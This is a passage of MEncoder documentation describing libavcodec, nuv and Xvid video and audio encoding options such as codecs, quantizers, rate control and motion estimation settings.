Many libavcodec (lavc for short) options are tersely documented. Read the source for full details.

EXAMPLE:

vcodec=msmpeg4:vbitrate=1800:vhq:keyint=250
acodec=<value>
audio codec (default: mp2)

ac3  
Dolby Digital (AC-3)
adpcm_*
Adaptive PCM formats – see the HTML documentation for details.
flac 
Free Lossless Audio Codec (FLAC)
g726 
G.726 ADPCM
libamr_nb
3GPP Adaptive Multi-Rate (AMR) narrow-band
libamr_wb
3GPP Adaptive Multi-Rate (AMR) wide-band
libfaac
Advanced Audio Coding (AAC) – using FAAC
libmp3lame
MPEG-1 audio layer 3 (MP3) – using LAME
mp2  
MPEG-1 audio layer 2 (MP2)
pcm_*
PCM formats – see the HTML documentation for details.
roq_dpcm
Id Software RoQ DPCM
sonic
experimental simple lossy codec
sonicls
experimental simple lossless codec
vorbis
Vorbis
wmav1
Windows Media Audio v1
wmav2
Windows Media Audio v2
abitrate=<value>
audio bitrate in kbps (default: 224)
atag=<value>
Use the specified Windows audio format tag (e.g. atag=0x55).
bit_exact
Use only bit exact algorithms (except (I)DCT). Additionally bit_exact disables several optimizations and thus should only be used for regression tests, which need binary identical files even if the encoder version changes. This also suppresses the user_data header in MPEG-4 streams. Do not use this option unless you know exactly what you are doing.
threads=<1-8>
Maximum number of threads to use (default: 1). May have a slight negative effect on motion estimation.
vcodec=<value>
Employ the specified codec (default: mpeg4).

asv1 
ASUS Video v1
asv2 
ASUS Video v2
dvvideo
Sony Digital Video
ffv1 
FFmpeg’s lossless video codec
ffvhuff
nonstandard 20% smaller HuffYUV using YV12
flv  
Sorenson H.263 used in Flash Video
h261 
H.261
h263 
H.263
h263p
H.263+
huffyuv
HuffYUV
libtheora
Theora
libx264
x264 H.264/AVC MPEG-4 Part 10
libxvid
Xvid MPEG-4 Part 2 (ASP)
ljpeg
Lossless JPEG
mjpeg
Motion JPEG
mpeg1video
MPEG-1 video
mpeg2video
MPEG-2 video
mpeg4
MPEG-4 (DivX 4/5)
msmpeg4
DivX 3
msmpeg4v2
MS MPEG4v2
roqvideo
ID Software RoQ Video
rv10 
an old RealVideo codec
snow (also see: vstrict)
FFmpeg’s experimental wavelet-based codec
svq1 
Apple Sorenson Video 1
wmv1 
Windows Media Video, version 1 (AKA WMV7)
wmv2 
Windows Media Video, version 2 (AKA WMV8)
vqmin=<1-31>
minimum quantizer (pass 1/2)

1
Not recommended (much larger file, little quality difference and weird side effects: msmpeg4, h263 will be very low quality, ratecontrol will be confused resulting in lower quality and some decoders will not be able to decode it).
2
Recommended for normal mpeg4/:mpeg1video encoding (default).
3
Recommended for h263(p)/:msmpeg4. The reason for preferring 3 over 2 is that 2 could lead to overflows. (This will be fixed for h263(p) by changing the quantizer per MB in the future, msmpeg4 cannot be fixed as it does not support that.)
lmin=<0.01-255.0>
Minimum frame-level Lagrange multiplier for ratecontrol (default: 2.0). Lavc will rarely use quantizers below the value of lmin. Lowering lmin will make lavc more likely to choose lower quantizers for some frames, but not lower than the value of vqmin. Likewise, raising lmin will make lavc less likely to choose low quantizers, even if vqmin would have allowed them. You probably want to set lmin approximately equal to vqmin. When adaptive quantization is in use, changing lmin/lmax may have less of an effect; see mblmin/mblmax.
lmax=<0.01-255.0>
maximum Lagrange multiplier for ratecontrol (default: 31.0)
mblmin=<0.01-255.0>
Minimum macroblock-level Lagrange multiplier for ratecontrol (default:2.0). This parameter affects adaptive quantization options like qprd, lumi_mask, etc..
mblmax=<0.01-255.0>
Maximum macroblock-level Lagrange multiplier for ratecontrol (default: 31.0).
vqscale=<0-31>
Constant quantizer /: constant quality encoding (selects fixed quantizer mode). A lower value means better quality but larger files (default: -1). In case of snow codec, value 0 means lossless encoding. Since the other codecs do not support this, vqscale=0 will have an undefined effect. 1 is not recommended (see vqmin for details).
vqmax=<1-31>
Maximum quantizer (pass 1/2), 10-31 should be a sane range (default: 31).
mbqmin=<1-31>
obsolete, use vqmin
mbqmax=<1-31>
obsolete, use vqmax
vqdiff=<1-31>
maximum quantizer difference between consecutive I- or P-frames (pass 1/2) (default: 3)
vmax_b_frames=<0-4>
maximum number of B-frames between non-B-frames:

0
no B-frames (default)
0-2
sane range for MPEG-4
vme=<0-5>
motion estimation method. Available methods are:

0
none (very low quality)
1
full (slow, currently unmaintained and disabled)
2
log (low quality, currently unmaintained and disabled)
3
phods (low quality, currently unmaintained and disabled)
4
EPZS: size=1 diamond, size can be adjusted with the *dia options (default)
5
X1 (experimental, currently aliased to EPZS)
8
iter (iterative overlapped block, only used in snow)
NOTE: 0-3 currently ignores the amount of bits spent, so quality may be low.
me_range=<0-9999>
motion estimation search range (default: 0 (unlimited))
mbd=<0-2> (see also *cmp, qpel)
Macroblock decision algorithm (high quality mode), encode each macro block in all modes and choose the best. This is slow but results in better quality and file size. When mbd is set to 1 or 2, the value of mbcmp is ignored when comparing macroblocks. If any comparison setting (precmp, subcmp, cmp, or mbcmp) is nonzero, however, a slower but better half-pel motion search will be used, regardless of what mbd is set to. If qpel is set, quarter-pel motion search will be used regardless.

0
Use comparison function given by mbcmp (default).
1
Select the MB mode which needs the fewest bits (=vhq).
2
Select the MB mode which has the best rate distortion.
vhq    
Same as mbd=1, kept for compatibility reasons.
v4mv   
Allow 4 motion vectors per macroblock (slightly better quality). Works better if used with mbd>0.
obmc   
overlapped block motion compensation (H.263+)
loop   
loop filter (H.263+) note, this is broken
inter_threshold <-1000-1000>
Does absolutely nothing at the moment.
keyint=<0-300>
maximum interval between keyframes in frames (default: 250 or one keyframe every ten seconds in a 25fps movie. This is the recommended default for MPEG-4). Most codecs require regular keyframes in order to limit the accumulation of mismatch error. Keyframes are also needed for seeking, as seeking is only possible to a keyframe – but keyframes need more space than other frames, so larger numbers here mean slightly smaller files but less precise seeking. 0 is equivalent to 1, which makes every frame a keyframe. Values >300 are not recommended as the quality might be bad depending upon decoder, encoder and luck. It is a common for MPEG-1/2 to use values <=30.
sc_threshold=<-1000000000-1000000000>
Threshold for scene change detection. A keyframe is inserted by libavcodec when it detects a scene change. You can specify the sensitivity of the detection with this option. -1000000000 means there is a scene change detected at every frame, 1000000000 means no scene changes are detected (default: 0).
sc_factor=<any positive integer>
Causes frames with higher quantizers to be more likely to trigger a scene change detection and make libavcodec use an I-frame (default: 1). 1-16 is a sane range. Values between 2 and 6 may yield increasing PSNR (up to approximately 0.04 dB) and better placement of I-frames in high-motion scenes. Higher values than 6 may give very slightly better PSNR (approximately 0.01 dB more than sc_factor=6), but noticably worse visual quality.
vb_strategy=<0-2> (pass one only)
strategy to choose between I/P/B-frames:

0
Always use the maximum number of B-frames (default).
1
Avoid B-frames in high motion scenes. See the b_sensitivity option to tune this strategy.
2
Places B-frames more or less optimally to yield maximum quality (slower). You may want to reduce the speed impact of this option by tuning the option brd_scale.
b_sensitivity=<any integer greater than 0>
Adjusts how sensitively vb_strategy=1 detects motion and avoids using B-frames (default: 40). Lower sensitivities will result in more B-frames. Using more B-frames usually improves PSNR, but too many B-frames can hurt quality in high-motion scenes. Unless there is an extremely high amount of motion, b_sensitivity can safely be lowered below the default; 10 is a reasonable value in most cases.
brd_scale=<0-10>
Downscales frames for dynamic B-frame decision (default: 0). Each time brd_scale is increased by one, the frame dimensions are divided by two, which improves speed by a factor of four. Both dimensions of the fully downscaled frame must be even numbers, so brd_scale=1 requires the original dimensions to be multiples of four, brd_scale=2 requires multiples of eight, etc. In other words, the dimensions of the original frame must both be divisible by 2^(brd_scale+1) with no remainder.
bidir_refine=<0-4>
Refine the two motion vectors used in bidirectional macroblocks, rather than re-using vectors from the forward and backward searches. This option has no effect without B-frames.

0
Disabled (default).
1-4
Use a wider search (larger values are slower).
vpass=<1-3>
Activates internal two (or more) pass mode, only specify if you wish to use two (or more) pass encoding.

1
first pass (also see turbo)
2
second pass
3
Nth pass (second and subsequent passes of N-pass encoding)
Here is how it works, and how to use it:
The first pass (vpass=1) writes the statistics file. You might want to deactivate some CPU-hungry options, like “turbo” mode does.
In two pass mode, the second pass (vpass=2) reads the statistics file and bases ratecontrol decisions on it.
In N-pass mode, the second pass (vpass=3, that is not a typo) does both: It first reads the statistics, then overwrites them. You might want to backup divx2pass.log before doing this if there is any possibility that you will have to cancel MEncoder. You can use all encoding options, except very CPU-hungry options like “qns”.
You can run this same pass over and over to refine the encode. Each subsequent pass will use the statistics from the previous pass to improve. The final pass can include any CPU-hungry encoding options.
If you want a 2 pass encode, use first vpass=1, and then vpass=2.
If you want a 3 or more pass encode, use vpass=1 for the first pass and then vpass=3 and then vpass=3 again and again until you are satisfied with the encode.
huffyuv:
pass 1
Saves statistics.
pass 2
Encodes with an optimal Huffman table based upon statistics from the first pass.
turbo (two pass only)
Dramatically speeds up pass one using faster algorithms and disabling CPU-intensive options. This will probably reduce global PSNR a little bit (around 0.01dB) and change individual frame type and PSNR a little bit more (up to 0.03dB).
aspect=<x/y>
Store movie aspect internally, just like with MPEG files. Much nicer than rescaling, because quality is not decreased. Only MPlayer will play these files correctly, other players will display them with wrong aspect. The aspect parameter can be given as a ratio or a floating point number.

EXAMPLE:
aspect=16/9 or aspect=1.78
autoaspect
Same as the aspect option, but automatically computes aspect, taking into account all the adjustments (crop/:expand/:scale/:etc.) made in the filter chain. Does not incur a performance penalty, so you can safely leave it always on.
vbitrate=<value>
Specify bitrate (pass 1/2) (default: 800).
WARNING: 1kbit = 1000 bits

4-16000
(in kbit)
16001-24000000
(in bit)
vratetol=<value>
approximated file size tolerance in kbit. 1000-100000 is a sane range. (warning: 1kbit = 1000 bits) (default: 8000)
NOTE: vratetol should not be too large during the second pass or there might be problems if vrc_(min|max)rate is used.
vrc_maxrate=<value>
maximum bitrate in kbit/:sec (pass 1/2) (default: 0, unlimited)
vrc_minrate=<value>
minimum bitrate in kbit/:sec (pass 1/2) (default: 0, unlimited)
vrc_buf_size=<value>
buffer size in kbit (pass 1/2). For MPEG-1/2 this also sets the vbv buffer size, use 327 for VCD, 917 for SVCD and 1835 for DVD.
vrc_buf_aggressivity
currently useless
vrc_strategy
Ratecontrol method. Note that some of the ratecontrol-affecting options will have no effect if vrc_strategy is not set to 0.

0
Use internal lavc ratecontrol (default).
1
Use Xvid ratecontrol (experimental; requires MEncoder to be compiled with support for Xvid 1.1 or higher).
vb_qfactor=<-31.0-31.0>
quantizer factor between B- and non-B-frames (pass 1/2) (default: 1.25)
vi_qfactor=<-31.0-31.0>
quantizer factor between I- and non-I-frames (pass 1/2) (default: 0.8)
vb_qoffset=<-31.0-31.0>
quantizer offset between B- and non-B-frames (pass 1/2) (default: 1.25)
vi_qoffset=<-31.0-31.0>
(pass 1/2) (default: 0.0)
if v{b|i}_qfactor > 0
I/B-frame quantizer = P-frame quantizer * v{b|i}_qfactor + v{b|i}_qoffset
else
do normal ratecontrol (do not lock to next P-frame quantizer) and set q= -q * v{b|i}_qfactor + v{b|i}_qoffset
HINT: To do constant quantizer encoding with different quantizers for I/P- and B-frames you can use: lmin= <ip_quant>:lmax= <ip_quant>:vb_qfactor= <b_quant/:ip_quant>.
vqblur=<0.0-1.0> (pass one)
Quantizer blur (default: 0.5), larger values will average the quantizer more over time (slower change).

0.0
Quantizer blur disabled.
1.0
Average the quantizer over all previous frames.
vqblur=<0.0-99.0> (pass two)
Quantizer gaussian blur (default: 0.5), larger values will average the quantizer more over time (slower change).
vqcomp=<0.0-1.0>
Quantizer compression, vrc_eq depends upon this (pass 1/2) (default: 0.5). For instance, assuming the default rate control equation is used, if vqcomp=1.0, the ratecontrol allocates to each frame the number of bits needed to encode them all at the same QP. If vqcomp=0.0, the ratecontrol allocates the same number of bits to each frame, i.e. strict CBR.NOTE: Those are extreme settings and should never be used. Perceptual quality will be optimal somewhere in between these two extremes.
vrc_eq=<equation>
main ratecontrol equation (pass 1/2)

1    
constant bitrate
tex  
constant quality
1+(tex/:avgTex-1)*qComp
approximately the equation of the old ratecontrol code
tex^qComp
with qcomp 0.5 or something like that (default)
infix operators:
+,-,*,/,^
variables:
tex  
texture complexity
iTex,pTex
intra, non-intra texture complexity
avgTex
average texture complexity
avgIITex
average intra texture complexity in I-frames
avgPITex
average intra texture complexity in P-frames
avgPPTex
average non-intra texture complexity in P-frames
avgBPTex
average non-intra texture complexity in B-frames
mv   
bits used for motion vectors
fCode
maximum length of motion vector in log2 scale
iCount
number of intra macroblocks / number of macroblocks
var  
spatial complexity
mcVar
temporal complexity
qComp
qcomp from the command line
isI, isP, isB
Is 1 if picture type is I/P/B else 0.
Pi,E 
See your favorite math book.
functions:
max(a,b),min(a,b)
maximum / minimum
gt(a,b)
is 1 if a>b, 0 otherwise
lt(a,b)
is 1 if a<b, 0 otherwise
eq(a,b)
is 1 if a==b, 0 otherwise
sin, cos, tan, sinh, cosh, tanh, exp, log, abs
vrc_override=<options>
User specified quality for specific parts (ending, credits, …) (pass 1/2). The options are <start-frame>, <end-frame>, <quality>[/<start-frame>, <end-frame>, <quality>[/…]]:

quality (2-31)
quantizer
quality (-500-0)
quality correction in %
vrc_init_cplx=<0-1000>
initial complexity (pass 1)
vrc_init_occupancy=<0.0-1.0>
initial buffer occupancy, as a fraction of vrc_buf_size (default: 0.9)
vqsquish=<0|1>
Specify how to keep the quantizer between qmin and qmax (pass 1/2).

0
Use clipping.
1
Use a nice differentiable function (default).
vlelim=<-1000-1000>
Sets single coefficient elimination threshold for luminance. Negative values will also consider the DC coefficient (should be at least -4 or lower for encoding at quant=1):

0
disabled (default)
-4
JVT recommendation
vcelim=<-1000-1000>
Sets single coefficient elimination threshold for chrominance. Negative values will also consider the DC coefficient (should be at least -4 or lower for encoding at quant=1):

0
disabled (default)
7
JVT recommendation
vstrict=<-2|-1|0|1>
strict standard compliance

0
disabled
1
Only recommended if you want to feed the output into the MPEG-4 reference decoder.
-1
Allow libavcodec specific extensions (default).
-2
Enables experimental codecs and features which may not be playable with future MPlayer versions (snow).
vdpart 
Data partitioning. Adds 2 Bytes per video packet, improves error-resistance when transferring over unreliable channels (e.g. streaming over the internet). Each video packet will be encoded in 3 separate partitions:

1. MVs
movement
2. DC coefficients
low res picture
3. AC coefficients
details
MV & DC are most important, losing them looks far worse than losing the AC and the 1. & 2. partition. (MV & DC) are far smaller than the 3. partition (AC) meaning that errors will hit the AC partition much more often than the MV & DC partitions. Thus, the picture will look better with partitioning than without, as without partitioning an error will trash AC/:DC/:MV equally.
vpsize=<0-10000> (also see vdpart)
Video packet size, improves error-resistance.

0    
disabled (default)
100-1000
good choice
ss     
slice structured mode for H.263+
gray   
grayscale only encoding (faster)
vfdct=<0-10>
DCT algorithm

0
Automatically select a good one (default).
1
fast integer
2
accurate integer
3
MMX
4
mlib
5
AltiVec
6
floating point AAN
idct=<0-99>
IDCT algorithm
NOTE: To the best of our knowledge all these IDCTs do pass the IEEE1180 tests.

0
Automatically select a good one (default).
1
JPEG reference integer
2
simple
3
simplemmx
4
libmpeg2mmx (inaccurate, do not use for encoding with keyint >100)
5
ps2
6
mlib
7
arm
8
AltiVec
9
sh4
10
simplearm
11
H.264
12
VP3
13
IPP
14
xvidmmx
15
CAVS
16
simplearmv5te
17
simplearmv6
lumi_mask=<0.0-1.0>
Luminance masking is a ‘psychosensory’ setting that is supposed to make use of the fact that the human eye tends to notice fewer details in very bright parts of the picture. Luminance masking compresses bright areas stronger than medium ones, so it will save bits that can be spent again on other frames, raising overall subjective quality, while possibly reducing PSNR.
WARNING: Be careful, overly large values can cause disastrous things.
WARNING: Large values might look good on some monitors but may look horrible on other monitors.

0.0  
disabled (default)
0.0-0.3
sane range
dark_mask=<0.0-1.0>
Darkness masking is a ‘psychosensory’ setting that is supposed to make use of the fact that the human eye tends to notice fewer details in very dark parts of the picture. Darkness masking compresses dark areas stronger than medium ones, so it will save bits that can be spent again on other frames, raising overall subjective quality, while possibly reducing PSNR.
WARNING: Be careful, overly large values can cause disastrous things.
WARNING: Large values might look good on some monitors but may look horrible on other monitors / TV / TFT.

0.0  
disabled (default)
0.0-0.3
sane range
tcplx_mask=<0.0-1.0>
Temporal complexity masking (default: 0.0 (disabled)). Imagine a scene with a bird flying across the whole scene; tcplx_mask will raise the quantizers of the bird’s macroblocks (thus decreasing their quality), as the human eye usually does not have time to see all the bird’s details. Be warned that if the masked object stops (e.g. the bird lands) it is likely to look horrible for a short period of time, until the encoder figures out that the object is not moving and needs refined blocks. The saved bits will be spent on other parts of the video, which may increase subjective quality, provided that tcplx_mask is carefully chosen.
scplx_mask=<0.0-1.0>
Spatial complexity masking. Larger values help against blockiness, if no deblocking filter is used for decoding, which is maybe not a good idea.
Imagine a scene with grass (which usually has great spatial complexity), a blue sky and a house; scplx_mask will raise the quantizers of the grass’ macroblocks, thus decreasing its quality, in order to spend more bits on the sky and the house.
HINT: Crop any black borders completely as they will reduce the quality of the macroblocks (also applies without scplx_mask).

0.0  
disabled (default)
0.0-0.5
sane range
NOTE: This setting does not have the same effect as using a custom matrix that would compress high frequencies harder, as scplx_mask will reduce the quality of P blocks even if only DC is changing. The result of scplx_mask will probably not look as good.
p_mask=<0.0-1.0> (also see vi_qfactor)
Reduces the quality of inter blocks. This is equivalent to increasing the quality of intra blocks, because the same average bitrate will be distributed by the rate controller to the whole video sequence (default: 0.0 (disabled)). p_mask=1.0 doubles the bits allocated to each intra block.
border_mask=<0.0-1.0>
border-processing for MPEG-style encoders. Border processing increases the quantizer for macroblocks which are less than 1/5th of the frame width/height away from the frame border, since they are often visually less important.
naq    
Normalize adaptive quantization (experimental). When using adaptive quantization (*_mask), the average per-MB quantizer may no longer match the requested frame-level quantizer. Naq will attempt to adjust the per-MB quantizers to maintain the proper average.
ildct  
Use interlaced DCT.
ilme   
Use interlaced motion estimation (mutually exclusive with qpel).
alt    
Use alternative scantable.
top=<-1-1>   
-1
automatic
0
bottom field first
1
top field first
format=<value>
YV12 
default
444P 
for ffv1
422P 
for HuffYUV, lossless JPEG, dv and ffv1
411P 
for lossless JPEG, dv and ffv1
YVU9 
for lossless JPEG, ffv1 and svq1
BGR32
for lossless JPEG and ffv1
pred   
(for HuffYUV)

0
left prediction
1
plane/:gradient prediction
2
median prediction
pred   
(for lossless JPEG)

0
left prediction
1
top prediction
2
topleft prediction
3
plane/:gradient prediction
6
mean prediction
coder  
(for ffv1)

0
vlc coding (Golomb-Rice)
1
arithmetic coding (CABAC)
context
(for ffv1)

0
small context model
1
large context model
(for ffvhuff)
0
predetermined Huffman tables (builtin or two pass)
1
adaptive Huffman tables
qpel   
Use quarter pel motion compensation (mutually exclusive with ilme).
HINT: This seems only useful for high bitrate encodings.
mbcmp=<0-2000>
Sets the comparison function for the macroblock decision, has only an effect if mbd=0.

0 (SAD)
sum of absolute differences, fast (default)
1 (SSE)
sum of squared errors
2 (SATD)
sum of absolute Hadamard transformed differences
3 (DCT)
sum of absolute DCT transformed differences
4 (PSNR)
sum of squared quantization errors (avoid, low quality)
5 (BIT)
number of bits needed for the block
6 (RD)
rate distortion optimal, slow
7 (ZERO)
0
8 (VSAD)
sum of absolute vertical differences
9 (VSSE)
sum of squared vertical differences
10 (NSSE)
noise preserving sum of squared differences
11 (W53)
5/3 wavelet, only used in snow
12 (W97)
9/7 wavelet, only used in snow
+256 
Also use chroma, currently does not work (correctly) with B-frames.
ildctcmp=<0-2000>
Sets the comparison function for interlaced DCT decision (see mbcmp for available comparison functions).
precmp=<0-2000>
Sets the comparison function for motion estimation pre pass (see mbcmp for available comparison functions) (default: 0).
cmp=<0-2000>
Sets the comparison function for full pel motion estimation (see mbcmp for available comparison functions) (default: 0).
subcmp=<0-2000>
Sets the comparison function for sub pel motion estimation (see mbcmp for available comparison functions) (default: 0).
skipcmp=<0-2000>
FIXME: Document this.
nssew=<0-1000000>
This setting controls NSSE weight, where larger weights will result in more noise. 0 NSSE is identical to SSE You may find this useful if you prefer to keep some noise in your encoded video rather than filtering it away before encoding (default: 8).
predia=<-99-6>
diamond type and size for motion estimation pre-pass
dia=<-99-6>
Diamond type & size for motion estimation. Motion search is an iterative process. Using a small diamond does not limit the search to finding only small motion vectors. It is just somewhat more likely to stop before finding the very best motion vector, especially when noise is involved. Bigger diamonds allow a wider search for the best motion vector, thus are slower but result in better quality.
Big normal diamonds are better quality than shape-adaptive diamonds.
Shape-adaptive diamonds are a good tradeoff between speed and quality.
NOTE: The sizes of the normal diamonds and shape adaptive ones do not have the same meaning.

-3
shape adaptive (fast) diamond with size 3
-2
shape adaptive (fast) diamond with size 2
-1
uneven multi-hexagon search (slow)
1
normal size=1 diamond (default) =EPZS type diamond

      0
     000
      0
2
normal size=2 diamond

      0
     000
    00000
     000
      0
trell  
Trellis searched quantization. This will find the optimal encoding for each 8×8 block. Trellis searched quantization is quite simply an optimal quantization in the PSNR versus bitrate sense (Assuming that there would be no rounding errors introduced by the IDCT, which is obviously not the case.). It simply finds a block for the minimum of error and lambda*bits.

lambda
quantization parameter (QP) dependent constant
bits 
amount of bits needed to encode the block
error
sum of squared errors of the quantization
cbp    
Rate distorted optimal coded block pattern. Will select the coded block pattern which minimizes distortion + lambda*rate. This can only be used together with trellis quantization.
mv0    
Try to encode each MB with MV=<0,0> and choose the better one. This has no effect if mbd=0.
mv0_threshold=<any non-negative integer>
When surrounding motion vectors are <0,0> and the motion estimation score of the current block is less than mv0_threshold, <0,0> is used for the motion vector and further motion estimation is skipped (default: 256). Lowering mv0_threshold to 0 can give a slight (0.01dB) PSNR increase and possibly make the encoded video look slightly better; raising mv0_threshold past 320 results in diminished PSNR and visual quality. Higher values speed up encoding very slightly (usually less than 1%, depending on the other options used).
NOTE: This option does not require mv0 to be enabled.
qprd (mbd=2 only)
rate distorted optimal quantization parameter (QP) for the given lambda of each macroblock
last_pred=<0-99>
amount of motion predictors from the previous frame

0
(default)
a
Will use 2a+1 x 2a+1 macroblock square of motion vector predictors from the previous frame.
preme=<0-2>
motion estimation pre-pass

0
disabled
1
only after I-frames (default)
2
always
subq=<1-8>
subpel refinement quality (for qpel) (default: 8 (high quality))
NOTE: This has a significant effect on speed.
refs=<1-8>
number of reference frames to consider for motion compensation (Snow only) (default: 1)
psnr   
print the PSNR (peak signal to noise ratio) for the whole video after encoding and store the per frame PSNR in a file with a name like ‘psnr_hhmmss.log’. Returned values are in dB (decibel), the higher the better.
mpeg_quant
Use MPEG quantizers instead of H.263.
aic    
Enable AC prediction for MPEG-4 or advanced intra prediction for H.263+. This will improve quality very slightly (around 0.02 dB PSNR) and slow down encoding very slightly (about 1%).
NOTE: vqmin should be 8 or larger for H.263+ AIC.
aiv    
alternative inter vlc for H.263+
umv    
unlimited MVs (H.263+ only) Allows encoding of arbitrarily long MVs.
ibias=<-256-256>
intra quantizer bias (256 equals 1.0, MPEG style quantizer default: 96, H.263 style quantizer default: 0)
NOTE: The H.263 MMX quantizer cannot handle positive biases (set vfdct=1 or 2), the MPEG MMX quantizer cannot handle negative biases (set vfdct=1 or 2).
pbias=<-256-256>
inter quantizer bias (256 equals 1.0, MPEG style quantizer default: 0, H.263 style quantizer default: -64)
NOTE: The H.263 MMX quantizer cannot handle positive biases (set vfdct=1 or 2), the MPEG MMX quantizer cannot handle negative biases (set vfdct=1 or 2).
HINT: A more positive bias (-32 – -16 instead of -64) seems to improve the PSNR.
nr=<0-100000>
Noise reduction, 0 means disabled. 0-600 is a useful range for typical content, but you may want to turn it up a bit more for very noisy content (default: 0). Given its small impact on speed, you might want to prefer to use this over filtering noise away with video filters like denoise3d or hqdn3d.
qns=<0-3>
Quantizer noise shaping. Rather than choosing quantization to most closely match the source video in the PSNR sense, it chooses quantization such that noise (usually ringing) will be masked by similar-frequency content in the image. Larger values are slower but may not result in better quality. This can and should be used together with trellis quantization, in which case the trellis quantization (optimal for constant weight) will be used as startpoint for the iterative search.

0
disabled (default)
1
Only lower the absolute value of coefficients.
2
Only change coefficients before the last non-zero coefficient + 1.
3
Try all.
inter_matrix=<comma separated matrix>
Use custom inter matrix. It needs a comma separated string of 64 integers.
intra_matrix=<comma separated matrix>
Use custom intra matrix. It needs a comma separated string of 64 integers.
vqmod_amp
experimental quantizer modulation
vqmod_freq
experimental quantizer modulation
dc     
intra DC precision in bits (default: 8). If you specify vcodec=mpeg2video this value can be 8, 9, 10 or 11.
cgop (also see sc_threshold)
Close all GOPs. Currently it only works if scene change detection is disabled (sc_threshold=1000000000).
(no)lowdelay
Sets the low delay flag for MPEG-1/2 (disables B-frames).
vglobal=<0-3>
Control writing global video headers.

0
Codec decides where to write global headers (default).
1
Write global headers only in extradata (needed for .mp4/MOV/NUT).
2
Write global headers only in front of keyframes.
3
Combine 1 and 2.
aglobal=<0-3>
Same as vglobal for audio headers.
level=<value>
Set CodecContext Level. Use 31 or 41 to play video on a Playstation 3.
skip_exp=<0-1000000>
FIXME: Document this.
skip_factor=<0-1000000>
FIXME: Document this.
skip_threshold=<0-1000000>
FIXME: Document this.

nuv (-nuvopts)

Nuppel video is based on RTJPEG and LZO. By default frames are first encoded with RTJPEG and then compressed with LZO, but it is possible to disable either or both of the two passes. As a result, you can in fact output raw i420, LZO compressed i420, RTJPEG, or the default LZO compressed RTJPEG.
NOTE: The nuvrec documentation contains some advice and examples about the settings to use for the most common TV encodings.

c=<0-20>
chrominance threshold (default: 1)
l=<0-20>
luminance threshold (default: 1)
lzo    
Enable LZO compression (default).
nolzo  
Disable LZO compression.
q=<3-255>
quality level (default: 255)
raw    
Disable RTJPEG encoding.
rtjpeg 
Enable RTJPEG encoding (default).

xvidenc (-xvidencopts)

There are three modes available: constant bitrate (CBR), fixed quantizer and two pass.

pass=<1|2>
Specify the pass in two pass mode.
turbo (two pass only)
Dramatically speeds up pass one using faster algorithms and disabling CPU-intensive options. This will probably reduce global PSNR a little bit and change individual frame type and PSNR a little bit more.
bitrate=<value> (CBR or two pass mode)
Sets the bitrate to be used in kbits/:second if <16000 or in bits/:second if >16000. If <value> is negative, Xvid will use its absolute value as the target size (in kBytes) of the video and compute the associated bitrate automagically (default: 687 kbits/s).
fixed_quant=<1-31>
Switch to fixed quantizer mode and specify the quantizer to be used.
zones=<zone0>[/<zone1>[/…]] (CBR or two pass mode)
User specified quality for specific parts (ending, credits, …). Each zone is <start-frame>,<mode>,<value> where <mode> may be

q
Constant quantizer override, where value=<2.0-31.0> represents the quantizer value.
w
Ratecontrol weight override, where value=<0.01-2.00> represents the quality correction in %.
EXAMPLE:
zones=90000,q,20
Encodes all frames starting with frame 90000 at constant quantizer 20.
zones=0,w,0.1/10001,w,1.0/90000,q,20
Encode frames 0-10000 at 10% bitrate, encode frames 90000 up to the end at constant quantizer 20. Note that the second zone is needed to delimit the first zone, as without it everything up until frame 89999 would be encoded at 10% bitrate.
me_quality=<0-6>
This option controls the motion estimation subsystem. The higher the value, the more precise the estimation should be (default: 6). The more precise the motion estimation is, the more bits can be saved. Precision is gained at the expense of CPU time so decrease this setting if you need realtime encoding.
(no)qpel
MPEG-4 uses a half pixel precision for its motion search by default. The standard proposes a mode where encoders are allowed to use quarter pixel precision. This option usually results in a sharper image. Unfortunately it has a great impact on bitrate and sometimes the higher bitrate use will prevent it from giving a better image quality at a fixed bitrate. It is better to test with and without this option and see whether it is worth activating.
(no)gmc
Enable Global Motion Compensation, which makes Xvid generate special frames (GMC-frames) which are well suited for Pan/:Zoom/:Rotating images. Whether or not the use of this option will save bits is highly dependent on the source material.
(no)trellis
Trellis Quantization is a kind of adaptive quantization method that saves bits by modifying quantized coefficients to make them more compressible by the entropy encoder. Its impact on quality is good, and if VHQ uses too much CPU for you, this setting can be a good alternative to save a few bits (and gain quality at fixed bitrate) at a lesser cost than with VHQ (default: on).
(no)cartoon
Activate this if your encoded sequence is an anime/:cartoon. It modifies some Xvid internal thresholds so Xvid takes better decisions on frame types and motion vectors for flat looking cartoons.
(no)chroma_me
The usual motion estimation algorithm uses only the luminance information to find the best motion vector. However for some video material, using the chroma planes can help find better vectors. This setting toggles the use of chroma planes for motion estimation (default: on).
(no)chroma_opt
Enable a chroma optimizer prefilter. It will do some extra magic on color information to minimize the stepped-stairs effect on edges. It will improve quality at the cost of encoding speed. It reduces PSNR by nature, as the mathematical deviation to the original picture will get bigger, but the subjective image quality will raise. Since it works with color information, you might want to turn it off when encoding in grayscale.
(no)hq_ac
Activates high-quality prediction of AC coefficients for intra frames from neighbor blocks (default: on).
vhq=<0-4>
The motion search algorithm is based on a search in the usual color domain and tries to find a motion vector that minimizes the difference between the reference frame and the encoded frame. With this setting activated, Xvid will also use the frequency domain (DCT) to search for a motion vector that minimizes not only the spatial difference but also the encoding length of the block. Fastest to slowest:

0
off
1
mode decision (inter/:intra MB) (default)
2
limited search
3
medium search
4
wide search
(no)lumi_mask
Adaptive quantization allows the macroblock quantizers to vary inside each frame. This is a ‘psychosensory’ setting that is supposed to make use of the fact that the human eye tends to notice fewer details in very bright and very dark parts of the picture. It compresses those areas more strongly than medium ones, which will save bits that can be spent again on other frames, raising overall subjective quality and possibly reducing PSNR.
(no)grayscale
Make Xvid discard chroma planes so the encoded video is grayscale only. Note that this does not speed up encoding, it just prevents chroma data from being written in the last stage of encoding.
(no)interlacing
Encode the fields of interlaced video material. Turn this option on for interlaced content.
NOTE: Should you rescale the video, you would need an interlace-aware resizer, which you can activate with -vf scale=<width>:<height>:1.
min_iquant=<0-31>
minimum I-frame quantizer (default: 2)
max_iquant=<0-31>
maximum I-frame quantizer (default: 31)
min_pquant=<0-31>
minimum P-frame quantizer (default: 2)
max_pquant=<0-31>
maximum P-frame quantizer (default: 31)
min_bquant=<0-31>
minimum B-frame quantizer (default: 2)
max_bquant=<0-31>
maximum B-frame quantizer (default: 31)
min_key_interval=<value> (two pass only)
minimum interval between keyframes (default: 0)
max_key_interval=<value>
maximum interval between keyframes (default: 10*fps)
quant_type=<h263|mpeg>
